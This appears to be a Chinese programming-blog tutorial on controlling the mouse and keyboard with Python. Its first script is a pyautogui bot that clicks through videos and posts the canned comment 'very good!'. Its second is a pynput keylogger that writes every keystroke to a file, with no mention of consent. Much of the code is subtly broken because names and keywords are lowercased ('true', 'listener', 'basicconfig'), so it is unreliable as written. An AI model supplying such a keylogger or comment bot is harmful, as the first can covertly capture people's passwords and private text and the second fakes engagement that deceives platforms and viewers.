欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

Python控制鼠标键盘代码实例

程序员文章站 2022-06-24 09:59:10
python控制鼠标键盘其实很容易,我们在写程序的时候很多时候会用的到!python控制鼠标键盘步骤及代码1、安装类库pip install pyautogui2、代码:import pyautogu...

python控制鼠标键盘其实很容易,我们在写程序的时候很多时候会用的到!

python控制鼠标键盘步骤及代码

1、安装类库

pip install pyautogui

2、代码:

import pyautogui,time,random

pyautogui.pause = 3
pyautogui.failsafe = true

width, height = pyautogui.size()
#print(str(width))
#print(str(height))

def drawrct():
 for i in range(10):
  pyautogui.moveto(300, 300, duration=0.25)
  pyautogui.moveto(400, 300, duration=0.25)
  pyautogui.moveto(400, 400, duration=0.25)
  pyautogui.moveto(300, 400, duration=0.25)


def mousescroll():
 time.sleep(5)
 for i in range(10):
  pyautogui.scroll(-200)
  time.sleep(2)

def getxy():
 try:
  while true:
   x, y = pyautogui.position()
   print(x,y)
 except keyboardinterrupt:
  print('\nexit.')


def playvideo(x,y):
 for i in range(4):
  pyautogui.click(x,y)
  x=x+240
  playandcomment()


def playandcomment():
 time.sleep(random.randint(5,15))
 pyautogui.scroll(-400)
 pyautogui.scroll(-400)
 pyautogui.click(200,300)
 pyautogui.typewrite('very good!')
 pyautogui.click(900,400)
 pyautogui.click(710,16)

if __name__ == '__main__':
 time.sleep(5)
 pyautogui.scroll(-300)
 for i in range(9):
  print(str(i))
  time.sleep(random.randint(3,5))
  #pyautogui.click(360,16)
  pyautogui.scroll(-300)
  time.sleep(random.randint(1,5))
  playvideo(404,330)

直接监听用户键盘操作

from pynput.keyboard import listener
import logging
 
location = "./"
 
logging.basicconfig( filename=(location+"keylogger.txt"), format="%(message)s", level=logging.debug)
 
def press(key):
  logging.info(key)
 
with listener(on_press = press) as listener:
  print('the program begins to watch the action of keyboard:')
  listener.join()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。